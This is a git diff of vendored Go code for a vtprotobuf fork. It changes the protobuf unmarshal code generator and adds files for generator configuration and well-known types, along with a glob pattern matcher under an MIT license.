vtproto.E_Options).(*vtproto.Opts).GetUnique() + goTyp, _ := p.FieldGoType(field) goTypK, _ := p.FieldGoType(field.Message.Fields[0]) goTypV, _ := p.FieldGoType(field.Message.Fields[1]) @@ -558,17 +527,17 @@ func (p *unmarshal) fieldItem(field *protogen.Field, fieldname string, message * p.P(`fieldNum := int32(wire >> 3)`) p.P(`if fieldNum == 1 {`) - p.mapField("mapkey", field.Message.Fields[0]) + p.mapField("mapkey", field.Message.Fields[0], unique) p.P(`} else if fieldNum == 2 {`) - p.mapField("mapvalue", field.Message.Fields[1]) + p.mapField("mapvalue", field.Message.Fields[1], unique) p.P(`} else {`) p.P(`iNdEx = entryPreIndex`) - p.P(`skippy, err := skip(dAtA[iNdEx:])`) + p.P(`skippy, err := `, p.Helper("Skip"), `(dAtA[iNdEx:])`) p.P(`if err != nil {`) p.P(`return err`) p.P(`}`) p.P(`if (skippy < 0) || (iNdEx + skippy) < 0 {`) - p.P(`return ErrInvalidLength`) + p.P(`return `, p.Helper("ErrInvalidLength")) p.P(`}`) p.P(`if (iNdEx + skippy) > postIndex {`) p.P(`return `, p.Ident("io", `ErrUnexpectedEOF`)) @@ -609,27 +578,39 @@ func (p *unmarshal) fieldItem(field *protogen.Field, fieldname string, message * p.P(`var byteLen int`) p.decodeVarint("byteLen", "int") p.P(`if byteLen < 0 {`) - p.P(`return ErrInvalidLength`) + p.P(`return `, p.Helper("ErrInvalidLength")) p.P(`}`) p.P(`postIndex := iNdEx + byteLen`) p.P(`if postIndex < 0 {`) - p.P(`return ErrInvalidLength`) + p.P(`return `, p.Helper("ErrInvalidLength")) p.P(`}`) p.P(`if postIndex > l {`) p.P(`return `, p.Ident("io", `ErrUnexpectedEOF`)) p.P(`}`) if oneof { - p.P(`v := make([]byte, postIndex-iNdEx)`) - p.P(`copy(v, dAtA[iNdEx:postIndex])`) + if p.unsafe { + p.P(`v := dAtA[iNdEx:postIndex]`) + } else { + p.P(`v := make([]byte, postIndex-iNdEx)`) + p.P(`copy(v, dAtA[iNdEx:postIndex])`) + } p.P(`m.`, fieldname, ` = &`, field.GoIdent, "{", field.GoName, `: v}`) } else if repeated { - p.P(`m.`, fieldname, ` = append(m.`, fieldname, `, make([]byte, postIndex-iNdEx))`) - p.P(`copy(m.`, fieldname, `[len(m.`, fieldname, `)-1], dAtA[iNdEx:postIndex])`) + if p.unsafe { + p.P(`m.`, fieldname, ` = append(m.`, fieldname, `, dAtA[iNdEx:postIndex])`) + } else { + p.P(`m.`, fieldname, ` = append(m.`, fieldname, `, make([]byte, postIndex-iNdEx))`) + p.P(`copy(m.`, fieldname, `[len(m.`, fieldname, `)-1], dAtA[iNdEx:postIndex])`) + } } else { - p.P(`m.`, fieldname, ` = append(m.`, fieldname, `[:0] , dAtA[iNdEx:postIndex]...)`) - p.P(`if m.`, fieldname, ` == nil {`) - p.P(`m.`, fieldname, ` = []byte{}`) - p.P(`}`) + if p.unsafe { + p.P(`m.`, fieldname, ` = dAtA[iNdEx:postIndex]`) + } else { + p.P(`m.`, fieldname, ` = append(m.`, fieldname, `[:0] , dAtA[iNdEx:postIndex]...)`) + p.P(`if m.`, fieldname, ` == nil {`) + p.P(`m.`, fieldname, ` = []byte{}`) + p.P(`}`) + } } p.P(`iNdEx = postIndex`) case protoreflect.Uint32Kind: @@ -748,11 +729,11 @@ func (p *unmarshal) field(proto3, oneof bool, field *protogen.Field, message *pr p.P(`var packedLen int`) p.decodeVarint("packedLen", "int") p.P(`if packedLen < 0 {`) - p.P(`return ErrInvalidLength`) + p.P(`return `, p.Helper("ErrInvalidLength")) p.P(`}`) p.P(`postIndex := iNdEx + packedLen`) p.P(`if postIndex < 0 {`) - p.P(`return ErrInvalidLength`) + p.P(`return `, p.Helper("ErrInvalidLength")) p.P(`}`) p.P(`if postIndex > l {`) p.P(`return `, p.Ident("io", "ErrUnexpectedEOF")) @@ -823,10 +804,10 @@ func (p *unmarshal) message(proto3 bool, message *protogen.Message) { } p.once = true - ccTypeName := message.GoIdent + ccTypeName := message.GoIdent.GoName required := message.Desc.RequiredNumbers() - p.P(`func (m *`, ccTypeName, `) UnmarshalVT(dAtA []byte) error {`) + p.P(`func (m *`, ccTypeName, `) `, p.methodUnmarshal(), `(dAtA []byte) error {`) if required.Len() > 0 { p.P(`var hasFields [`, strconv.Itoa(1+(required.Len()-1)/64), `]uint64`) } @@ -850,12 +831,12 @@ func (p *unmarshal) message(proto3 bool, message *protogen.Message) { } p.P(`default:`) p.P(`iNdEx=preIndex`) - p.P(`skippy, err := skip(dAtA[iNdEx:])`) + p.P(`skippy, err := `, p.Helper("Skip"), `(dAtA[iNdEx:])`) p.P(`if err != nil {`) p.P(`return err`) p.P(`}`) p.P(`if (skippy < 0) || (iNdEx + skippy) < 0 {`) - p.P(`return ErrInvalidLength`) + p.P(`return `, p.Helper("ErrInvalidLength")) p.P(`}`) p.P(`if (iNdEx + skippy) > l {`) p.P(`return `, p.Ident("io", `ErrUnexpectedEOF`)) @@ -875,7 +856,9 @@ func (p *unmarshal) message(proto3 bool, message *protogen.Message) { p.P(`iNdEx += skippy`) p.P(`} else {`) } - p.P(`m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...)`) + if !p.Wrapper() && !p.ShouldIgnoreUnknownFields(message) { + p.P(`m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...)`) + } p.P(`iNdEx += skippy`) if message.Desc.ExtensionRanges().Len() > 0 { p.P(`}`) diff --git a/vendor/github.com/planetscale/vtprotobuf/generator/features.go b/vendor/github.com/runtime-radar/vtprotobuf/generator/features.go similarity index 98% rename from vendor/github.com/planetscale/vtprotobuf/generator/features.go rename to vendor/github.com/runtime-radar/vtprotobuf/generator/features.go index 34c6b258..c34e4e76 100644 --- a/vendor/github.com/planetscale/vtprotobuf/generator/features.go +++ b/vendor/github.com/runtime-radar/vtprotobuf/generator/features.go @@ -55,5 +55,4 @@ type Feature func(gen *GeneratedFile) FeatureGenerator type FeatureGenerator interface { GenerateFile(file *protogen.File) bool - GenerateHelpers() } diff --git a/vendor/github.com/runtime-radar/vtprotobuf/generator/generatedfile.go b/vendor/github.com/runtime-radar/vtprotobuf/generator/generatedfile.go new file mode 100644 index 00000000..4d4e32b5 --- /dev/null +++ b/vendor/github.com/runtime-radar/vtprotobuf/generator/generatedfile.go @@ -0,0 +1,212 @@ +// Copyright (c) 2021 PlanetScale Inc. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package generator + +import ( + "fmt" + + "github.com/runtime-radar/vtprotobuf/vtproto" + + "google.golang.org/protobuf/compiler/protogen" + "google.golang.org/protobuf/proto" + "google.golang.org/protobuf/reflect/protoreflect" +) + +type GeneratedFile struct { + *protogen.GeneratedFile + Config *Config + LocalPackages map[protoreflect.FullName]bool +} + +func (p *GeneratedFile) Ident(path, ident string) string { + return p.QualifiedGoIdent(protogen.GoImportPath(path).Ident(ident)) +} + +func (b *GeneratedFile) ShouldPool(message *protogen.Message) bool { + // Do not generate pool if message is nil or message excluded by external rules + if message == nil || b.Config.PoolableExclude.Contains(message.GoIdent) { + return false + } + + if b.Config.Poolable.Contains(message.GoIdent) { + return true + } + + ext := proto.GetExtension(message.Desc.Options(), vtproto.E_Mempool) + if mempool, ok := ext.(bool); ok { + return mempool + } + return false +} + +func (b *GeneratedFile) ShouldIgnoreUnknownFields(message *protogen.Message) bool { + if b.Config.IgnoreUnknownFields.Contains(message.GoIdent) { + return true + } + + ext := proto.GetExtension(message.Desc.Options(), vtproto.E_IgnoreUnknownFields) + ignoreUnknownFields, ok := ext.(bool) + return ok && ignoreUnknownFields +} + +func (b *GeneratedFile) Alloc(vname string, message *protogen.Message, isQualifiedIdent bool) { + ident := message.GoIdent.GoName + if isQualifiedIdent { + ident = b.QualifiedGoIdent(message.GoIdent) + } + + if b.ShouldPool(message) { + b.P(vname, " := ", ident, `FromVTPool()`) + } else { + b.P(vname, " := new(", ident, `)`) + } +} + +func (p *GeneratedFile) FieldGoType(field *protogen.Field) (goType string, pointer bool) { + if field.Desc.IsWeak() { + return "struct{}", false + } + + pointer = field.Desc.HasPresence() + switch field.Desc.Kind() { + case protoreflect.BoolKind: + goType = "bool" + case protoreflect.EnumKind: + goType = p.QualifiedGoIdent(field.Enum.GoIdent) + case protoreflect.Int32Kind, protoreflect.Sint32Kind, protoreflect.Sfixed32Kind: + goType = "int32" + case protoreflect.Uint32Kind, protoreflect.Fixed32Kind: + goType = "uint32" + case protoreflect.Int64Kind, protoreflect.Sint64Kind, protoreflect.Sfixed64Kind: + goType = "int64" + case protoreflect.Uint64Kind, protoreflect.Fixed64Kind: + goType = "uint64" + case protoreflect.FloatKind: + goType = "float32" + case protoreflect.DoubleKind: + goType = "float64" + case protoreflect.StringKind: + goType = "string" + case protoreflect.BytesKind: + goType = "[]byte" + pointer = false // rely on nullability of slices for presence + case protoreflect.MessageKind, protoreflect.GroupKind: + goType = "*" + p.QualifiedGoIdent(field.Message.GoIdent) + pointer = false // pointer captured as part of the type + } + switch { + case field.Desc.IsList(): + return "[]" + goType, false + case field.Desc.IsMap(): + keyType, _ := p.FieldGoType(field.Message.Fields[0]) + valType, _ := p.FieldGoType(field.Message.Fields[1]) + return fmt.Sprintf("map[%v]%v", keyType, valType), false + } + return goType, pointer +} + +func (p *GeneratedFile) IsLocalMessage(message *protogen.Message) bool { + if message == nil { + return false + } + pkg := message.Desc.ParentFile().Package() + return p.LocalPackages[pkg] +} + +func (p *GeneratedFile) IsLocalField(field *protogen.Field) bool { + if field == nil { + return false + } + pkg := field.Desc.ParentFile().Package() + return p.LocalPackages[pkg] +} + +const vtHelpersPackage = protogen.GoImportPath("github.com/runtime-radar/vtprotobuf/protohelpers") + +var helpers = map[string]protogen.GoIdent{ + "EncodeVarint": {GoName: "EncodeVarint", GoImportPath: vtHelpersPackage}, + "SizeOfVarint": {GoName: "SizeOfVarint", GoImportPath: vtHelpersPackage}, + "SizeOfZigzag": {GoName: "SizeOfZigzag", GoImportPath: vtHelpersPackage}, + "Skip": {GoName: "Skip", GoImportPath: vtHelpersPackage}, + "ErrInvalidLength": {GoName: "ErrInvalidLength", GoImportPath: vtHelpersPackage}, + "ErrIntOverflow": {GoName: "ErrIntOverflow", GoImportPath: vtHelpersPackage}, + "ErrUnexpectedEndOfGroup": {GoName: "ErrUnexpectedEndOfGroup", GoImportPath: vtHelpersPackage}, +} + +func (p *GeneratedFile) Helper(name string) protogen.GoIdent { + return helpers[name] +} + +const vtWellKnownPackage = protogen.GoImportPath("github.com/runtime-radar/vtprotobuf/types/known/") + +var wellKnownTypes = map[protoreflect.FullName]protogen.GoIdent{ + "google.protobuf.Any": {GoName: "Any", GoImportPath: vtWellKnownPackage + "anypb"}, + "google.protobuf.Duration": {GoName: "Duration", GoImportPath: vtWellKnownPackage + "durationpb"}, + "google.protobuf.Empty": {GoName: "Empty", GoImportPath: vtWellKnownPackage + "emptypb"}, + "google.protobuf.FieldMask": {GoName: "FieldMask", GoImportPath: vtWellKnownPackage + "fieldmaskpb"}, + "google.protobuf.Timestamp": {GoName: "Timestamp", GoImportPath: vtWellKnownPackage + "timestamppb"}, + "google.protobuf.DoubleValue": {GoName: "DoubleValue", GoImportPath: vtWellKnownPackage + "wrapperspb"}, + "google.protobuf.FloatValue": {GoName: "FloatValue", GoImportPath: vtWellKnownPackage + "wrapperspb"}, + "google.protobuf.Int64Value": {GoName: "Int64Value", GoImportPath: vtWellKnownPackage + "wrapperspb"}, + "google.protobuf.UInt64Value": {GoName: "UInt64Value", GoImportPath: vtWellKnownPackage + "wrapperspb"}, + "google.protobuf.Int32Value": {GoName: "Int32Value", GoImportPath: vtWellKnownPackage + "wrapperspb"}, + "google.protobuf.UInt32Value": {GoName: "UInt32Value", GoImportPath: vtWellKnownPackage + "wrapperspb"}, + "google.protobuf.BoolValue": {GoName: "BoolValue", GoImportPath: vtWellKnownPackage + "wrapperspb"}, + "google.protobuf.StringValue": {GoName: "StringValue", GoImportPath: vtWellKnownPackage + "wrapperspb"}, + "google.protobuf.BytesValue": {GoName: "BytesValue", GoImportPath: vtWellKnownPackage + "wrapperspb"}, + "google.protobuf.Struct": {GoName: "Struct", GoImportPath: vtWellKnownPackage + "structpb"}, + "google.protobuf.Value": {GoName: "Value", GoImportPath: vtWellKnownPackage + "structpb"}, + "google.protobuf.ListValue": {GoName: "ListValue", GoImportPath: vtWellKnownPackage + "structpb"}, +} + +var wellKnownFields = map[protoreflect.FullName]protogen.GoIdent{ + "google.protobuf.Value.null_value": {GoName: "Value_NullValue", GoImportPath: vtWellKnownPackage + "structpb"}, + "google.protobuf.Value.number_value": {GoName: "Value_NumberValue", GoImportPath: vtWellKnownPackage + "structpb"}, + "google.protobuf.Value.string_value": {GoName: "Value_StringValue", GoImportPath: vtWellKnownPackage + "structpb"}, + "google.protobuf.Value.bool_value": {GoName: "Value_BoolValue", GoImportPath: vtWellKnownPackage + "structpb"}, + "google.protobuf.Value.struct_value": {GoName: "Value_StructValue", GoImportPath: vtWellKnownPackage + "structpb"}, + "google.protobuf.Value.list_value": {GoName: "Value_ListValue", GoImportPath: vtWellKnownPackage + "structpb"}, +} + +func (p *GeneratedFile) IsWellKnownType(message *protogen.Message) bool { + if message == nil { + return false + } + _, ok := wellKnownTypes[message.Desc.FullName()] + return ok +} + +func (p *GeneratedFile) WellKnownFieldMap(field *protogen.Field) protogen.GoIdent { + if field == nil { + return protogen.GoIdent{} + } + res, ff := wellKnownFields[field.Desc.FullName()] + if !ff { + panic(field.Desc.FullName()) + } + if p.Config.WKTImportRewrite { + res.GoImportPath = field.Parent.GoIdent.GoImportPath + } else if p.IsLocalField(field) { + res.GoImportPath = "" + } + return res +} + +func (p *GeneratedFile) WellKnownTypeMap(message *protogen.Message) protogen.GoIdent { + if message == nil { + return protogen.GoIdent{} + } + res := wellKnownTypes[message.Desc.FullName()] + if p.Config.WKTImportRewrite { + res.GoImportPath = message.GoIdent.GoImportPath + } else if p.IsLocalMessage(message) { + res.GoImportPath = "" + } + return res +} + +func (p *GeneratedFile) Wrapper() bool { + return p.Config.Wrap +} diff --git a/vendor/github.com/runtime-radar/vtprotobuf/generator/generator.go b/vendor/github.com/runtime-radar/vtprotobuf/generator/generator.go new file mode 100644 index 00000000..e0d3b6f1 --- /dev/null +++ b/vendor/github.com/runtime-radar/vtprotobuf/generator/generator.go @@ -0,0 +1,191 @@ +// Copyright (c) 2021 PlanetScale Inc. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package generator + +import ( + "fmt" + "runtime/debug" + + "google.golang.org/protobuf/compiler/protogen" + "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/runtime/protoimpl" + "google.golang.org/protobuf/types/pluginpb" + + "github.com/runtime-radar/vtprotobuf/generator/pattern" +) + +type ObjectSet struct { + mp map[string]bool +} + +func NewObjectSet() ObjectSet { + return ObjectSet{ + mp: map[string]bool{}, + } +} + +func (o ObjectSet) String() string { + return fmt.Sprintf("%#v", o) +} + +func (o ObjectSet) Contains(g protogen.GoIdent) bool { + objectPath := fmt.Sprintf("%s.%s", string(g.GoImportPath), g.GoName) + + for wildcard := range o.mp { + // Ignore malformed pattern error because pattern already checked in Set + if ok, _ := pattern.Match(wildcard, objectPath); ok { + return true + } + } + + return false +} + +func (o ObjectSet) Set(s string) error { + if !pattern.ValidatePattern(s) { + return pattern.ErrBadPattern + } + o.mp[s] = true + return nil +} + +type Config struct { + // Poolable rules determines if pool feature generate for particular message + Poolable ObjectSet + // PoolableExclude rules determines if pool feature disabled for particular message + PoolableExclude ObjectSet + // IgnoreUnknownFields contains messages for which unknown fields shall be ignored + IgnoreUnknownFields ObjectSet + Wrap bool + WellKnownTypes bool + AllowEmpty bool + BuildTag string + // WKTImportRewrite, when true, makes WellKnownTypeMap and WellKnownFieldMap + // defer to message.GoIdent.GoImportPath (set by protogen, possibly via M= + // rewrites) instead of the bundled fork's WKT package paths. Use this when + // a downstream generator rewrites well-known type imports to alternate + // locations (e.g. TinyGo-compatible copies) and expects vtproto to follow. + WKTImportRewrite bool + // FileEmitter, if non-nil, transforms the generated content of each + // _vtproto.pb.go file before it is finalized. Useful for replacing the + // auto-generated header or applying file-level rewrites. + FileEmitter func(file *protogen.File, content []byte) []byte +} + +type Generator struct { + plugin *protogen.Plugin + cfg *Config + features []Feature + local map[protoreflect.FullName]bool +} + +const SupportedFeatures = uint64(pluginpb.CodeGeneratorResponse_FEATURE_PROTO3_OPTIONAL) + +func NewGenerator(plugin *protogen.Plugin, featureNames []string, cfg *Config) (*Generator, error) { + plugin.SupportedFeatures = SupportedFeatures + + features, err := findFeatures(featureNames) + if err != nil { + return nil, err + } + + local := make(map[protoreflect.FullName]bool) + for _, f := range plugin.Files { + if f.Generate { + local[f.Desc.Package()] = true + } + } + + return &Generator{ + plugin: plugin, + cfg: cfg, + features: features, + local: local, + }, nil +} + +func (gen *Generator) Generate() { + for _, file := range gen.plugin.Files { + if !file.Generate { + continue + } + + var importPath protogen.GoImportPath + if !gen.cfg.Wrap { + importPath = file.GoImportPath + } + + gf := gen.plugin.NewGeneratedFile(file.GeneratedFilenamePrefix+"_vtproto.pb.go", importPath) + if !gen.generateFile(gf, file) { + gf.Skip() + continue + } + if gen.cfg.FileEmitter == nil { + continue + } + content, err := gf.Content() + if err != nil { + gen.plugin.Error(err) + continue + } + gf.Skip() + gf = gen.plugin.NewGeneratedFile(file.GeneratedFilenamePrefix+"_vtproto.pb.go", importPath) + if _, err := gf.Write(gen.cfg.FileEmitter(file, content)); err != nil { + gen.plugin.Error(err) + } + } +} + +func (gen *Generator) generateFile(gf *protogen.GeneratedFile, file *protogen.File) bool { + p := &GeneratedFile{ + GeneratedFile: gf, + Config: gen.cfg, + LocalPackages: gen.local, + } + + if p.Config.BuildTag != "" { + // Support both forms of tags for maximum compatibility + p.P("//go:build ", p.Config.BuildTag) + p.P("// +build ", p.Config.BuildTag) + } + p.P("// Code generated by protoc-gen-go-vtproto. DO NOT EDIT.") + if bi, ok := debug.ReadBuildInfo(); ok { + p.P("// protoc-gen-go-vtproto version: ", bi.Main.Version) + } + p.P("// source: ", file.Desc.Path()) + p.P() + p.P("package ", file.GoPackageName) + p.P() + + protoimplPackage := protogen.GoImportPath("google.golang.org/protobuf/runtime/protoimpl") + p.P("const (") + p.P("// Verify that this generated code is sufficiently up-to-date.") + p.P("_ = ", protoimplPackage.Ident("EnforceVersion"), "(", protoimpl.GenVersion, " - ", protoimplPackage.Ident("MinVersion"), ")") + p.P("// Verify that runtime/protoimpl is sufficiently up-to-date.") + p.P("_ = ", protoimplPackage.Ident("EnforceVersion"), "(", protoimplPackage.Ident("MaxVersion"), " - ", protoimpl.GenVersion, ")") + p.P(")") + p.P() + + if p.Wrapper() { + for _, msg := range file.Messages { + p.P(`type `, msg.GoIdent.GoName, ` `, msg.GoIdent) + for _, one := range msg.Oneofs { + for _, field := range one.Fields { + p.P(`type `, field.GoIdent.GoName, ` `, field.GoIdent) + } + } + } + } + + var generated bool + for _, feat := range gen.features { + featGenerator := feat(p) + if featGenerator.GenerateFile(file) { + generated = true + } + } + + return generated || gen.cfg.AllowEmpty +} diff --git a/vendor/github.com/planetscale/vtprotobuf/generator/helpers.go b/vendor/github.com/runtime-radar/vtprotobuf/generator/helpers.go similarity index 100% rename from vendor/github.com/planetscale/vtprotobuf/generator/helpers.go rename to vendor/github.com/runtime-radar/vtprotobuf/generator/helpers.go diff --git a/vendor/github.com/runtime-radar/vtprotobuf/generator/pattern/LICENSE b/vendor/github.com/runtime-radar/vtprotobuf/generator/pattern/LICENSE new file mode 100644 index 00000000..2645a8b7 --- /dev/null +++ b/vendor/github.com/runtime-radar/vtprotobuf/generator/pattern/LICENSE @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2014 Bob Matcuk + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/vendor/github.com/runtime-radar/vtprotobuf/generator/pattern/match.go b/vendor/github.com/runtime-radar/vtprotobuf/generator/pattern/match.go new file mode 100644 index 00000000..2074bf1e --- /dev/null +++ b/vendor/github.com/runtime-radar/vtprotobuf/generator/pattern/match.go @@ -0,0 +1,457 @@ +package pattern + +import ( + "path" + "unicode/utf8" +) + +var ErrBadPattern = path.ErrBadPattern + +// Match reports whether name matches the shell pattern. +// The pattern syntax is: +// +// pattern: +// { term } +// term: +// '*' matches any sequence of non-path-separators +// '/**/' matches zero or more directories +// '?' matches any single non-path-separator character +// '[' [ '^' '!' ] { character-range } ']' +// character class (must be non-empty) +// starting with `^` or `!` negates the class +// '{' { term } [ ',' { term } ... ] '}' +// alternatives +// c matches character c (c != '*', '?', '\\', '[') +// '\\' c matches character c +// +// character-range: +// c matches character c (c != '\\', '-', ']') +// '\\' c matches character c +// lo '-' hi matches character c for lo <= c <= hi +// +// Match returns true if `name` matches the file name `pattern`. `name` and +// `pattern` are split on forward slash (`/`) characters and may be relative or +// absolute. +// +// Match requires pattern to match all of name, not just a substring. +// The only possible returned error is ErrBadPattern, when pattern +// is malformed. +// +// A doublestar (`**`) should appear surrounded by path separators such as +// `/**/`. A mid-pattern doublestar (`**`) behaves like bash's globstar +// option: a pattern such as `path/to/**.txt` would return the same results as +// `path/to/*.txt`. The pattern you're looking for is `path/to/**/*.txt`. +// +// Note: this is meant as a drop-in replacement for path.Match() which +// always uses '/' as the path separator. If you want to support systems +// which use a different path separator (such as Windows), what you want +// is PathMatch(). Alternatively, you can run filepath.ToSlash() on both +// pattern and name and then use this function. +// +// Note: users should _not_ count on the returned error, +// doublestar.ErrBadPattern, being equal to path.ErrBadPattern. +func Match(pattern, name string) (bool, error) { + return matchWithSeparator(pattern, name, '/', true) +} + +func matchWithSeparator(pattern, name string, separator rune, validate bool) (matched bool, err error) { + return doMatchWithSeparator(pattern, name, separator, validate, -1, -1, -1, -1, 0, 0) +} + +func doMatchWithSeparator(pattern, name string, separator rune, validate bool, doublestarPatternBacktrack, doublestarNameBacktrack, starPatternBacktrack, starNameBacktrack, patIdx, nameIdx int) (matched bool, err error) { + patLen := len(pattern) + nameLen := len(name) + startOfSegment := true +MATCH: + for nameIdx < nameLen { + if patIdx < patLen { + switch pattern[patIdx] { + case '*': + if patIdx++; patIdx < patLen && pattern[patIdx] == '*' { + // doublestar - must begin with a path separator, otherwise we'll + // treat it like a single star like bash + patIdx++ + if startOfSegment { + if patIdx >= patLen { + // pattern ends in `/**`: return true + return true, nil + } + + // doublestar must also end with a path separator, otherwise we're + // just going to treat the doublestar as a single star like bash + patRune, patRuneLen := utf8.DecodeRuneInString(pattern[patIdx:]) + if patRune == separator { + patIdx += patRuneLen + + doublestarPatternBacktrack = patIdx + doublestarNameBacktrack = nameIdx + starPatternBacktrack = -1 + starNameBacktrack = -1 + continue + } + } + } + startOfSegment = false + + starPatternBacktrack = patIdx + starNameBacktrack = nameIdx + continue + + case '?': + startOfSegment = false + nameRune, nameRuneLen := utf8.DecodeRuneInString(name[nameIdx:]) + if nameRune == separator { + // `?` cannot match the separator + break + } + + patIdx++ + nameIdx += nameRuneLen + continue + + case '[': + startOfSegment = false + if patIdx++; patIdx >= patLen { + // class didn't end + return false, ErrBadPattern + } + nameRune, nameRuneLen := utf8.DecodeRuneInString(name[nameIdx:]) + + matched := false + negate := pattern[patIdx] == '!' || pattern[patIdx] == '^' + if negate { + patIdx++ + } + + if patIdx >= patLen || pattern[patIdx] == ']' { + // class didn't end or empty character class + return false, ErrBadPattern + } + + last := utf8.MaxRune + for patIdx < patLen && pattern[patIdx] != ']' { + patRune, patRuneLen := utf8.DecodeRuneInString(pattern[patIdx:]) + patIdx += patRuneLen + + // match a range + if last < utf8.MaxRune && patRune == '-' && patIdx < patLen && pattern[patIdx] != ']' { + if pattern[patIdx] == '\\' { + // next character is escaped + patIdx++ + } + patRune, patRuneLen = utf8.DecodeRuneInString(pattern[patIdx:]) + patIdx += patRuneLen + + if last <= nameRune && nameRune <= patRune { + matched = true + break + } + + // didn't match range - reset `last` + last = utf8.MaxRune + continue + } + + // not a range - check if the next rune is escaped + if patRune == '\\' { + patRune, patRuneLen = utf8.DecodeRuneInString(pattern[patIdx:]) + patIdx += patRuneLen + } + + // check if the rune matches + if patRune == nameRune { + matched = true + break + } + + // no matches yet + last = patRune + } + + if matched == negate { + // failed to match - if we reached the end of the pattern, that means + // we never found a closing `]` + if patIdx >= patLen { + return false, ErrBadPattern + } + break + } + + closingIdx := indexUnescapedByte(pattern[patIdx:], ']', true) + if closingIdx == -1 { + // no closing `]` + return false, ErrBadPattern + } + + patIdx += closingIdx + 1 + nameIdx += nameRuneLen + continue + + case '{': + startOfSegment = false + beforeIdx := patIdx + patIdx++ + closingIdx := indexMatchedClosingAlt(pattern[patIdx:], separator != '\\') + if closingIdx == -1 { + // no closing `}` + return false, ErrBadPattern + } + closingIdx += patIdx + + for { + commaIdx := indexNextAlt(pattern[patIdx:closingIdx], separator != '\\') + if commaIdx == -1 { + break + } + commaIdx += patIdx + + result, err := doMatchWithSeparator(pattern[:beforeIdx]+pattern[patIdx:commaIdx]+pattern[closingIdx+1:], name, separator, validate, doublestarPatternBacktrack, doublestarNameBacktrack, starPatternBacktrack, starNameBacktrack, beforeIdx, nameIdx) + if result || err != nil { + return result, err + } + + patIdx = commaIdx + 1 + } + return doMatchWithSeparator(pattern[:beforeIdx]+pattern[patIdx:closingIdx]+pattern[closingIdx+1:], name, separator, validate, doublestarPatternBacktrack, doublestarNameBacktrack, starPatternBacktrack, starNameBacktrack, beforeIdx, nameIdx) + + case '\\': + if separator != '\\' { + // next rune is "escaped" in the pattern - literal match + if patIdx++; patIdx >= patLen { + // pattern ended + return false, ErrBadPattern + } + } + fallthrough + + default: + patRune, patRuneLen := utf8.DecodeRuneInString(pattern[patIdx:]) + nameRune, nameRuneLen := utf8.DecodeRuneInString(name[nameIdx:]) + if patRune != nameRune { + if separator != '\\' && patIdx > 0 && pattern[patIdx-1] == '\\' { + // if this rune was meant to be escaped, we need to move patIdx + // back to the backslash before backtracking or validating below + patIdx-- + } + break + } + + patIdx += patRuneLen + nameIdx += nameRuneLen + startOfSegment = patRune == separator + continue + } + } + + if starPatternBacktrack >= 0 { + // `*` backtrack, but only if the `name` rune isn't the separator + nameRune, nameRuneLen := utf8.DecodeRuneInString(name[starNameBacktrack:]) + if nameRune != separator { + starNameBacktrack += nameRuneLen + patIdx = starPatternBacktrack + nameIdx = starNameBacktrack + startOfSegment = false + continue + } + } + + if doublestarPatternBacktrack >= 0 { + // `**` backtrack, advance `name` past next separator + nameIdx = doublestarNameBacktrack + for nameIdx < nameLen { + nameRune, nameRuneLen := utf8.DecodeRuneInString(name[nameIdx:]) + nameIdx += nameRuneLen + if nameRune == separator { + doublestarNameBacktrack = nameIdx + patIdx = doublestarPatternBacktrack + startOfSegment = true + continue MATCH + } + } + } + + if validate && patIdx < patLen && !doValidatePattern(pattern[patIdx:], separator) { + return false, ErrBadPattern + } + return false, nil + } + + if nameIdx < nameLen { + // we reached the end of `pattern` before the end of `name` + return false, nil + } + + // we've reached the end of `name`; we've successfully matched if we've also + // reached the end of `pattern`, or if the rest of `pattern` can match a + // zero-length string + return isZeroLengthPattern(pattern[patIdx:], separator) +} + +func isZeroLengthPattern(pattern string, separator rune) (ret bool, err error) { + // `/**`, `**/`, and `/**/` are special cases - a pattern such as `path/to/a/**` or `path/to/a/**/` + // *should* match `path/to/a` because `a` might be a directory + if pattern == "" || + pattern == "*" || + pattern == "**" || + pattern == string(separator)+"**" || + pattern == "**"+string(separator) || + pattern == string(separator)+"**"+string(separator) { + return true, nil + } + + if pattern[0] == '{' { + closingIdx := indexMatchedClosingAlt(pattern[1:], separator != '\\') + if closingIdx == -1 { + // no closing '}' + return false, ErrBadPattern + } + closingIdx += 1 + + patIdx := 1 + for { + commaIdx := indexNextAlt(pattern[patIdx:closingIdx], separator != '\\') + if commaIdx == -1 { + break + } + commaIdx += patIdx + + ret, err = isZeroLengthPattern(pattern[patIdx:commaIdx]+pattern[closingIdx+1:], separator) + if ret || err != nil { + return + } + + patIdx = commaIdx + 1 + } + return isZeroLengthPattern(pattern[patIdx:closingIdx]+pattern[closingIdx+1:], separator) + } + + // no luck - validate the rest of the pattern + if !doValidatePattern(pattern, separator) { + return false, ErrBadPattern + } + return false, nil +} + +// Finds the next comma, but ignores any commas that appear inside nested `{}`. +// Assumes that each opening bracket has a corresponding closing bracket. +func indexNextAlt(s string, allowEscaping bool) int { + alts := 1 + l := len(s) + for i := 0; i < l; i++ { + if allowEscaping && s[i] == '\\' { + // skip next byte + i++ + } else if s[i] == '{' { + alts++ + } else if s[i] == '}' { + alts-- + } else if s[i] == ',' && alts == 1 { + return i + } + } + return -1 +} + +// Finds the index of the first 